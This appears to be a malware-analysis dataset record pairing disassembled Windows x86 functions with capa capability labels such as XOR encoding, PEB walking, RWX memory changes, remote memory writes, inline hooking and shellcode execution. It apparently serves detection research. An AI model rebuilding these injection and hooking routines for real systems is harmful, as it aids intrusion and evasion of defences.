joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401530
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
push esi
xor esi, esi
push ebx
mov ebx, 0x4242
shl ebx, 2
mov ecx, ebx
shr ecx, 0x10
and ecx, 1
or ebx, ecx
mov ecx, dword [edi + esi*4]
mov edx, ebx
and ebx, 0xffff
shr edx, 0x10
and edx, 2
mov eax, ecx
or edx, ebx
shr eax, 0x10
and ecx, 0xffff
xor edx, eax
inc esi
xor edx, ecx
cmp esi, 0xb
mov ebx, edx
jbe 0x401540
pop ebx
mov eax, edx
pop esi
pop edi
pop ebp
ret

Function at 0x401580
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor edx, edx
mov ebp, esp
lea esi, [esi]
lea edi, [edi]
mov eax, dword [edx*4 + str.jaPm_255cdJBe]
xor dword [edx*4 + 0x409010], eax
inc edx
cmp edx, 3
jle 0x401590
pop ebp
ret

Function at 0x401d98
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.004023c8
call fcn.00401f48
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401dd0
jmp 0x401e6c
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401dcf
cmp cl, 0x22
je 0x401e28
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401e48
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401e48
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401e08
jmp 0x401e48
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401e28
cmp cl, 0x22
je 0x401ea8
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401e66
inc ebx
movzx eax, byte [ebx]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
jne 0x401e58
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401e8a
movzx edx, word [ebp - 0x28]
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00401cf0
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401e48
Function at 0x401000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
je 0x40102d
cmp dword [ebp + 0x10], 0
je 0x40102f
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
leave
ret
xor eax, eax
leave
ret

Function at 0x401092
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
push esi
mov esi, dword [eax + ecx + 0x78]
mov eax, dword [ebp + 0xc]
shr eax, 0x10
add esi, ecx
test ax, ax
jne 0x4010c5
movzx eax, word [ebp + 0xc]
sub eax, dword [esi + 0x10]
mov edx, dword [esi + 0x1c]
lea eax, [edx + eax*4]
mov eax, dword [eax + ecx]
add eax, ecx
pop esi
leave
ret 8
and dword [ebp - 4], 0
push ebx
mov ebx, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x20]
add edi, ecx
add ebx, ecx
cmp dword [esi + 0x18], 0
jbe 0x401102
mov eax, dword [edi]
push dword [ebp + 0xc]
add eax, ecx
push eax
call fcn.00401055
pop ecx
pop ecx
mov ecx, dword [ebp + 8]
test eax, eax
je 0x401113
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add edi, 4
add ebx, 2
cmp eax, dword [esi + 0x18]
jb 0x4010db
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
pop edi
pop ebx
cmp edx, dword [esi + 0x18]
jne 0x4010b5
xor eax, eax
jmp 0x4010c0
movzx eax, word [ebx]
jmp 0x401105

Function at 0x401118
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 5
push 0x18
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtQueryInformationFile]
test eax, eax
js 0x401153
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x40114e
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x401147
mov dword [eax], ecx
mov edx, 1
jmp 0x401158
mov eax, dword [ebp - 0x20]
jmp 0x40115b
mov edx, 2
or eax, 0xffffffff
leave
ret 8

Function at 0x401189
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
push esi
mov esi, dword [eax + ecx + 0x78]
mov eax, dword [ebp + 0xc]
shr eax, 0x10
add esi, ecx
test ax, ax
jne 0x4011ba
movzx eax, word [ebp + 0xc]
sub eax, dword [esi + 0x10]
mov edx, dword [esi + 0x1c]
lea eax, [edx + eax*4]
mov eax, dword [eax + ecx]
add eax, ecx
pop esi
leave
ret
and dword [ebp - 4], 0
push ebx
mov ebx, dword [esi + 0x24]
push edi
mov edi, dword [esi + 0x20]
add edi, ecx
add ebx, ecx
cmp dword [esi + 0x18], 0
jbe 0x4011f4
mov eax, dword [edi]
add eax, ecx
push eax
call fcn.00405313
pop ecx
mov ecx, dword [ebp + 8]
cmp eax, dword [ebp + 0xc]
je 0x401205
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add edi, 4
add ebx, 2
cmp eax, dword [esi + 0x18]
jb 0x4011d0
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
pop edi
pop ebx
cmp edx, dword [esi + 0x18]
jne 0x4011ac
xor eax, eax
jmp 0x4011b7
movzx eax, word [ebx]
jmp 0x4011f7
Function at 0x40249d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
test eax, eax
jle 0x4024bd
mov ecx, dword [ebp + 8]
mov dl, byte [eax + ecx]
xor dl, 0x4c
sub dl, byte [eax + ecx - 1]
mov byte [eax + ecx], dl
dec eax
test eax, eax
jg 0x4024ab
pop ebp
ret

Function at 0x40255a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402564
sub eax, edx
jne 0x402573
xor eax, eax
leave
ret
push 0x104
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
test eax, eax
je 0x40256f
push esi
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
and dword [edi], 0
and dword [esi], 0
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.ntdll.dll_sscanf
mov eax, dword [edi]
xor dword [esi], eax
add esp, 0x10
xor eax, eax
pop edi
inc eax
pop esi
leave
ret

Function at 0x4025b1
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push esi
push edi
mov esi, 0x103
push esi
lea eax, [ebp - 0x123]
push 0
push eax
mov byte [ebp - 0x124], 0
call sub.ntdll.dll_memset
push 7
pop ecx
push dword [ebp + 0x14]
xor eax, eax
mov byte [ebp - 0x20], 0
lea edi, [ebp - 0x1f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x4061b4
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
push esi
push eax
call sub.ntdll.dll__snprintf
mov eax, dword [ebp + 0xc]
xor eax, dword [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push dword [ebp + 8]
push 0x1f
push eax
call sub.ntdll.dll__snprintf
add esp, 0x30
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.DLL_SetEnvironmentVariableA]
xor eax, eax
pop edi
inc eax
pop esi
leave
ret

Function at 0x4026a6
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x4026fa
push 0xfffffffffffffff1
push esi
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
mov eax, dword fs:[0x18]
push esi
mov dword [eax + 0x34], edi
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
mov eax, dword fs:[0x18]
cmp dword [eax + 0x34], 6
je 0x4026fa
push 0x103
push esi
call fcn.00401031
pop ecx
pop ecx
test eax, eax
je 0x4026fa
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc edi
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x402700
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi]
mov eax, dword [esi + 0x79]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
push 8
push ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
call edi
test eax, eax
jne 0x402796
push 8
add esi, 0x75
push esi
call edi
test eax, eax
jne 0x402796
cmp dword [ebp + 0xc], eax
je 0x402743
cmp dword [ebx], 0xe9c301eb
je 0x402796
push 2
mov edi, esi
pop ecx
mov esi, ebx
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
je 0x402796
lea eax, [ebp - 8]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 4]
push eax
lea eax, [ebp + 8]
push eax
push 0xffffffffffffffff
mov dword [ebp + 8], ebx
mov dword [ebp - 4], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x402796
pushal
mov esi, dword [ebp - 0x14]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, 0xe9c301eb
mov ecx, dword [ebp - 0x10]
lock cmpxchg8b qword ds:[esi]
jne 0x402787
popal
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4029c2
Capabilities:
Get system information on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [ebp + 0x1c]
xor ebx, ebx
push edi
test esi, esi
je 0x402a9c
mov edi, dword [ebp + 0x20]
test edi, edi
je 0x402a9c
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov ecx, dword [ebp - 0x10]
mov eax, esi
xor edx, edx
div ecx
imul ecx, eax
sub esi, ecx
lea eax, [esi + edi]
push eax
push ecx
push ebx
push 4
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0x402a98
lea edx, [eax + esi]
cmp dword [edx], ebx
jbe 0x402a8c
and dword [ebp - 4], 0
lea edi, [edx + 4]
mov eax, dword [edi]
sub eax, 4
mov dword [ebp + 0x1c], edi
test eax, 0xfffffffe
jbe 0x402a85
mov eax, dword [ebp + 0x1c]
movzx ebx, word [eax]
mov esi, dword [edx]
mov eax, ebx
and eax, 0xfff
mov ecx, eax
sub ecx, dword [ebp + 0x10]
add eax, esi
add ecx, esi
cmp eax, dword [ebp + 0x10]
jb 0x402a72
lea eax, [ecx + 4]
cmp eax, dword [ebp + 0x18]
jae 0x402a72
and ebx, 0xfffff000
cmp ebx, 0x3000
jne 0x402a72
mov eax, dword [ebp + 8]
add ecx, dword [ebp + 0x14]
sub eax, dword [ebp + 0x24]
add dword [ecx], eax
mov eax, dword [edi]
inc dword [ebp - 4]
add dword [ebp + 0x1c], 2
sub eax, 4
shr eax, 1
cmp dword [ebp - 4], eax
jb 0x402a34
add edx, dword [edi]
cmp dword [edx], 0
ja 0x402a1e
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
xor ebx, ebx
inc ebx
mov eax, ebx
jmp 0x402a9e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d4d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
xor ebx, ebx
push esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0x1000
mov byte [ebp + 0xf], bl
mov dword [ebp - 4], ebx
call fcn.0040251c
pop ecx
cmp dword [esi], ebx
jne 0x402d7e
xor eax, eax
jmp 0x402e48
lea eax, [ebp - 0x14]
push eax
push pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x402d77
cmp dword [esi + 0x95], ebx
jne 0x402db5
lea eax, [esi + 0x7d]
push eax
mov dword [esi + 0x95], 1
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
lea eax, [esi + 0x7d]
push edi
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esi + 0x1a1], ebx
jne 0x402e1e
lea eax, [ebp - 4]
push eax
lea edi, [esi + 0x71]
push edi
push dword [esi]
push dword [esi + 0x6d]
push esi
call fcn.00402aa3
add esp, 0x14
test eax, eax
je 0x402e1e
push dword [edi]
mov edi, dword [ebp - 4]
push edi
push dword [esi]
push dword [ebp + 8]
call fcn.00402d19
add esp, 0x10
cmp edi, ebx
je 0x402e36
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapValidate]
test eax, eax
je 0x402e36
push edi
push ebx
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
jmp 0x402e36
lea eax, [esi + 0x39]
cmp dword [eax], ebx
je 0x402e3a
push dword [esi + 0x69]
push eax
push dword [esi]
push dword [ebp + 8]
call fcn.00402d19
add esp, 0x10
mov byte [ebp + 0xf], 1
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
movzx eax, byte [ebp + 0xf]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402fb6
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ecx, dword [esi]
mov eax, dword [esi + 0x19d]
mov edx, dword [esi + 4]
sub edx, ecx
cmp dword [ebp + 0x10], 0
push edi
lea edi, [eax + esi]
lea ebx, [esi + 0x75]
lea eax, [edx + eax - 5]
mov dword [ebp - 0x10], ecx
mov byte [ebx], 0xe9
mov dword [esi + 0x76], eax
jne 0x403060
lea eax, [ebp - 0xc]
push eax
push 5
lea eax, [esi + 8]
push eax
push ecx
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
js 0x4030a8
push 5
pop eax
cmp dword [ebp - 0xc], eax
jne 0x4030a8
mov dword [esi + 0x65], eax
lea eax, [ebp - 0x14]
push eax
push pe_nt_image_headers32
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp + 0x10], edi
mov dword [ebp + 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x4030a8
lea eax, [ebp - 4]
push eax
push 0x1a5
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x4030a8
cmp dword [ebp - 4], 0x1a5
jne 0x4030a8
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x14]
push eax
push pe_nt_image_headers32
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 8]
mov dword [ebp + 0x10], ecx
mov dword [ebp + 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x4030a8
lea eax, [ebp - 4]
push eax
push 5
push ebx
push dword [esi]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x4030a8
cmp dword [ebp - 4], 5
jne 0x4030a8
mov dword [ebp - 8], 1
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4030b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp + 8], eax
lea eax, [ebp + 0xc]
push eax
push pe_nt_image_headers32
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 4]
push eax
xor esi, esi
push 0xffffffffffffffff
inc esi
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x4030e0
xor esi, esi
mov eax, esi
pop esi
leave
ret

Function at 0x4034ca
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
test eax, eax
je 0x40351c
mov eax, dword fs:[0x18]
and dword [eax + 0x34], 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x40351e
mov ecx, dword fs:[0x18]
cmp dword [ecx + 0x34], 0x12b
je 0x40351e
xor eax, eax
leave
ret
Function at 0x403520
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40356b
add eax, dword [eax + 0x3c]
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x40356b
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
cmp dword [eax], ecx
jne 0x40356b
mov ecx, dword [ebp + 0x10]
add eax, 4
mov dword [edx], eax
add eax, 0x14
mov dword [ecx], eax
mov ecx, 0x10b
cmp word [eax], cx
jne 0x40356b
mov ecx, dword [ebp + 0x14]
add eax, 0xe0
mov dword [ecx], eax
xor eax, eax
inc eax
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4035c3
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f4
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
cmp ebx, esi
jne 0x4035de
xor eax, eax
jmp 0x4037c6
sub ebx, dword [ebp + 0xc]
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x34], eax
xor eax, eax
push 0x860
mov dword [ebp - 0x1c], esi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
push 7
mov dword [ebp - 0x24], esi
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x3c]
push eax
push 0x80100000
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x3c], 0x18
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], pe_nt_image_headers32
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
js 0x4037c3
push esi
push dword [ebp - 4]
call fcn.00401118
push dword [ebp - 4]
cmp eax, 0xffffffff
je 0x4037bd
push 0x1000000
push 2
lea eax, [ebp - 0x1c]
push eax
push esi
push 0xf001f
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
js 0x4037ba
cmp dword [ebp - 8], esi
je 0x4037ba
push 2
push esi
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push esi
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
cmp eax, esi
jge 0x4036c2
cmp eax, 0x40000003
jne 0x4037ba
cmp ecx, esi
je 0x4037ba
cmp ebx, dword [ebp - 0x10]
ja 0x4037ba
mov eax, dword [ebp + 0x10]
lea edi, [ecx + ebx]
push 8
push edi
mov dword [ebp - 0x183], 0x1c
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f0], edi
call fcn.00402e4c
mov ebx, eax
lea eax, [ebx - 8]
pop ecx
pop ecx
cmp eax, 0x24
ja 0x4037ba
push ebx
lea eax, [ebp - 0x1ec]
push edi
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebp - 0x1f4]
sub eax, dword [ebp - 0x1f0]
mov dword [ebp + 0x10], eax
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x18f]
push eax
lea eax, [ebp - 0x1ec]
push eax
push ebx
push dword [ebp - 0x1f0]
call fcn.00402e95
add esp, 0x20
test eax, eax
je 0x4037ba
mov eax, dword [ebp - 0x18f]
mov byte [ebp + eax - 0x1ec], 0xe9
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x18f]
add eax, 0xfffffffb
mov dword [ebp + ecx - 0x1eb], eax
mov ebx, dword [ebp - 0x18f]
add ebx, 5
push ebx
push dword [ebp - 0x1f0]
call fcn.004030b0
pop ecx
pop ecx
test eax, eax
je 0x4037ba
push ebx
lea eax, [ebp - 0x1ec]
push eax
push dword [ebp - 0x1f0]
call sub.ntdll.dll_memcpy
mov eax, dword [ebp + 0x14]
add esp, 0xc
cmp eax, esi
je 0x4037ad
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, edi
jmp 0x4037c5
push dword [ebp - 4]
call dword [sym.imp.ntdll.dll_NtClose]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4037ca
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
je 0x4037e2
cmp dword [ebp + 8], 3
jne 0x403837
call fcn.00405332
jmp 0x4037f1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
test eax, eax
je 0x403837
push dword [ebp + 0xc]
push eax
call fcn.00401189
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x403837
cmp dword [ebp + 8], 3
jne 0x403837
mov eax, dword [esi]
cmp eax, 0x6c64746e
je 0x40381c
cmp eax, 0x4c44544e
jne 0x403837
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
add esi, 6
push esi
push eax
call fcn.00401092
mov esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x403b09
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
mov dword [eax], esi
mov eax, 0x5a4d
mov dword [ebp - 0xc], esi
cmp word [ebx], ax
je 0x403b2f
xor eax, eax
jmp 0x403c1c
push edi
mov edi, dword [ebx + 0x3c]
add edi, ebx
cmp dword [edi], 0x4550
jne 0x403bff
push pe_nt_image_headers32
mov dword [ebp + 8], esi
mov eax, dword [edi + 0x50]
push 0x3000
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp + 8]
push eax
push 0xffffffffffffffff
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x403bff
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x403bff
mov esi, dword [ebp + 0x18]
mov ecx, dword [ebp - 4]
and dword [esi + 8], 0
mov dword [esi + 4], eax
mov dword [esi + 0xc], ecx
mov ecx, dword [edi + 0x54]
add ecx, dword [ebx + 0x3c]
mov dword [ebp - 0x10], eax
push ecx
push ebx
push eax
call sub.ntdll.dll_memcpy
mov eax, dword [ebx + 0x3c]
add eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
push esi
push edi
mov dword [esi], eax
push ebx
mov dword [eax + 0x34], ecx
call fcn.00402237
mov ebx, dword [ebp - 8]
mov eax, ebx
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0x403bc5
push eax
mov eax, esi
call fcn.004022ba
pop ecx
mov eax, esi
call fcn.0040232b
test eax, eax
je 0x403bf8
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
xor edi, edi
cmp eax, edi
je 0x403c0a
add eax, ebx
cmp eax, edi
je 0x403bf8
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov dword [esi + 0x10], eax
cmp dword [ebp + 0x10], edi
je 0x403c0a
push edi
push 1
push ebx
call eax
test eax, eax
jne 0x403c03
push esi
call fcn.0040240c
pop ecx
xor eax, eax
jmp 0x403c1b
mov dword [esi + 8], 1
mov eax, dword [ebp + 0xc]
cmp dword [eax], edi
je 0x403c18
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4044dc
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push ebx
push esi
push edi
mov edi, dword [eax + 0xc]
xor ebx, ebx
add edi, 0xc
mov esi, dword [edi]
mov dword [ebp - 4], ebx
jmp 0x404518
lea ecx, [ebp - 0xc]
push ecx
push 9
mov eax, esi
mov esi, dword [esi]
push 1
push dword [eax + 0x18]
call fcn.004055b5
test eax, eax
je 0x404518
inc dword [ebp - 4]
cmp edi, esi
jne 0x4044fd
mov esi, dword [ebp - 4]
lea esi, [esi*4 + 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x404548
push 8
call dword [sym.imp.KERNEL32.DLL_SetLastError]
xor eax, eax
jmp 0x4045c3
push esi
push ebx
push eax
call sub.ntdll.dll_memset
mov ebx, dword [edi + 4]
add esp, 0xc
jmp 0x4045b0
lea ecx, [ebp - 0xc]
push ecx
push 9
mov eax, ebx
mov ebx, dword [ebx + 4]
push 1
push dword [eax + 0x18]
call fcn.004055b5
mov esi, eax
test esi, esi
je 0x4045b0
cmp dword [ebp - 4], 0
je 0x4045c8
mov eax, dword [esi + 4]
sub eax, dword [esi]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [ecx + edx*4], eax
test eax, eax
je 0x40453c
mov ecx, dword [esi]
mov edx, dword [esi + 4]
sub edx, ecx
push edx
push ecx
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
dec dword [ebp - 4]
cmp edi, ebx
jne 0x404558
mov eax, dword fs:[0x18]
mov ecx, dword [ebp - 8]
mov dword [eax + 0x2c], ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push 0xffffffffffffffff
jmp 0x40453e

Function at 0x40481c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x18]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov esi, 0x45568c
push esi
mov dword [eax + 0x34], ebx
call fcn.004055e3
mov edi, dword [ebp + 0x10]
push edi
push ebx
push 0x455790
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
je 0x40487b
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x404853
push ebx
push dword [ebp + 0xc]
sub eax, edx
push dword [ebp + 8]
mov dword [eax + edi - 4], 0x6578652e
push edi
call fcn.00404231
add esp, 0x10
test eax, eax
je 0x40487b
xor ebx, ebx
inc ebx
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret